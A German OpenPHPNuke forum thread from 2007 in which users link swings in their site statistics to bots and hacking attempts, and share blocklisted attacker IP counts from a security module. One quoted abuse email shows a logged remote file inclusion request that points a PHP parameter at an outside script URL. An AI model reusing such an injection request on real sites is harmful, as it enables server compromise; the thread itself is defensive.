Autor Scout_GP
Datum 07.12.2007 12:31
Beiträge: In letzter Zeit habe ich unheimliche Schwankungen in der Statistik. Und nicht nur ich, sondern auch Leute die kein OPN im Einsatz haben.
Ich habe Tage mit 30 Zugriffen und Tage mit meheren Hundert(1000 - 3000).
Ist Euch ähnliches aufgefallen? Jemand ne Idee woran es liegen kann?

Gruß Scout +++ Last.fm | Scoutweb +++


Autor spinne
Datum 07.12.2007 12:52
Beiträge: Ja das ist allgemein so.

Das hängt mit diversen Bots zusammen und auch diversen Angriffen auf Seiten.

Das schwankt in den vergangenen Wochen schon sehr extrem, ist aber bei vielen anderen auch so.

Gruss Tine


Autor Scout_GP
Datum 07.12.2007 12:57
Beiträge: spinne schrieb am 07.12.2007 um 12:52:31 Uhr folgendes:

Das hängt mit diversen Bots zusammen und auch diversen Angriffen auf Seiten.


Klingt interessant, erzähl mehr davon.

P.S. PHP Kurs ist am Anfang langweilig, deshalb spamme ich das Web voll. Fragt sich nur was ich danach mache.

Gruß Scout +++ Last.fm | Scoutweb +++


Autor Gast
Datum 07.12.2007 13:08
Beiträge: Das kenne ich auch sehr gut.

Installiere dir doch mal die Customizer Module "EVA" und "Black Liste".
Konfiguriere das so, dass dir OPN eine Mail sendet wenn jemand (meist ein Bot) dein OPN angreift.

du wirst erstaunt sein, was da alles versucht wird und mit welchen Manipulation die OPN zu hacken versuchen.
Resp. die versuchen mit div. Exploits Schadenscode einzuschleusen.

OPN versendet bei diesen Angriffe dann auch automatisch eine Abuse Mail an der Provider von den Angreiffer.

Ein Auszug aus dieser Mail:

[EVA-ABUSE]



Guten Tag sehr geehrte Damen und Herren,

ihr Server mit der IP

84.77.115.184
84.77.115.184

ist bei dem Versuch Schadenscode einzuschleusen ertappt worden.
Ich bitte dringend um Unterlassung andernfalls folgen weitere rechtliche Schritte.

Als Frist gebe ich Ihnen 24 Stunden. Sollte danach von der selben IP
weitere Angriffe erfasst werden erfolgt eine Strafanzeige.

Technische Informationen und Ausschnitte aus vorhandenen LOG Dateien:

Datum: 07.12.2007 06:03:56

Browser : libwww-perl/5.65
REMOTE_ADDR : 84.77.115.184
REMOTE_PORT : 4346
REQUEST_URI : /mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=http://www.freewebs.com/jaksel/bot/s.txt?


und genau diese Angriffe pushen dann deine Statistik an Zugriffen enorm nach oben.

Blackliste wird auch automatisch ergänzt:

Gesperrte IP's welche die ms-world angreiffen und Schadencode auf den Server zu laden

* 72.10.167.50(2)
* 82.149.231.169(5)
* 66.90.101.9(2)
* 72.29.92.27(2)
* 66.225.253.129(2)
* 80.238.208.61(1)
* 213.203.223.115(1)
* 65.98.41.42(1)
* 144.92.13.94(1)
* 216.117.166.78(2)


Gesperrte IP Adressen (650)

Bei den IP's in Klammern siehst du, wie oft diese IP schon versucht hat OPN anzugreiffen.

Flash





Autor Scout_GP
Datum 07.12.2007 13:20
Beiträge: Aua, das ist ja böse. Hmm naja ist schon eine Überlegung wert, sich mit EVA zu beschäftigen. Rein platonisch natürlich.
Aber ich denke ich warte da noch bis ich Anfang nächsten Jahres meinen VServer hab. Ist dann alles ein Abwasch.^^

Gruß Scout +++ Last.fm | Scoutweb +++


Autor stefan
Datum 07.12.2007 15:12
Beiträge: Vielleicht sollte wir mal Top Listen Veröffentlichen

IP Böse Zugriffsversuche

81.29.234.142            694      
62.193.237.43            568            
66.230.196.115            297            
70.84.103.42            204            
62.67.244.181            199            
205.234.138.122      187            
205.234.190.130      181            
80.97.20.22       178            
217.172.188.64            153            
209.97.202.160            146      

Wer hat mehr zu bieten? Anmerkung bei jedem ging eine Abuse Meldung raus


Autor spinne
Datum 07.12.2007 17:29
Beiträge: Hehe auf so viel komm ich nicht...
aber du hast bestimmt nicht nur von einer seite genommen stefan? sondern serverangriffe?

bei der G-G sieht das in etwa so aus bei mir

* 85.214.58.246(0)
* 66.230.197.245(0)
* 67.19.230.162(0)
* 69.10.144.46(0)
* 87.106.14.15(0)
* 82.208.29.129(0)
* 201.11.217.130(0)
* 217.79.181.23(0)
* 89.149.208.30(1)
* 62.193.228.196(2)


Gesperrte IP Adressen (579)

und auf der info:

Blacklist IP

* 212.254.178.23(1)
* 85.234.137.123(2)
* 217.9.84.131(2)
* 66.197.155.69(1)
* 65.75.134.50(3)
* 209.172.55.210(2)
* 140.113.4.80(2)
* 65.111.164.186(1)
* 202.91.163.31(1)
* 85.98.128.52(22)


Gesperrte IP Adressen (3343)




Autor stefan
Datum 07.12.2007 17:53
Beiträge: doch war nur eine Site. Du kann in Modul Black List die IPs auch sortieren nach der Menge


Autor spinne
Datum 07.12.2007 17:58
Beiträge: stimmt auch wieder aber da glaube ich nicht das dich dann noch jemand überbieten kann


Autor golive
Datum 07.12.2007 18:39
Beiträge: Für arme Würste die mit der "regulären" Version arbeiten. Wann findet Eva den den Weg in das offizielle Release?

Hört sich doch ziemlich stabil an, was ihr so schreibt?

Viele Grüße
go


Autor spinne
Datum 07.12.2007 19:17
Beiträge: Also wirklich go...
für was schreibe ich denn bitte schön newsletter? hm? hmm? hmmmmmmmmm?

guckst du

liest du die denn? angemeldet bist du dafür doch?

Übe Dich in Geduld, wenn Du etwas erreichen willst ----------------------------------------------------------------------------------------- Geheime Gedanken -- Mein Spinnennetz -- Spinnennetz CH -- RenderWorld Cinema4d Testbereiche, nachgeschaut und dann nachgefragt: OPN-Laborcenter --- OPN-Themes --- OPN-Bugtracking --- OPN-Doku --- OPN-FAQ


Autor golive
Datum 07.12.2007 20:25
Beiträge: Tine - wie konnte mir das passieren.... tststs

natürlich sauge ich jedes Wort des Newsletters auf..... ich kann kaum den nächsten erwarten....

LG
go


Autor Gast
Datum 05.05.2021 06:28
Beiträge: steel series www.newbornphotographyokc.com




Diese Seite drucken
Diese Seite schließen

Dieser Artikel kommt von: OpenPHPNuke - das Open Source CMS

http://www.openphpnuke.info/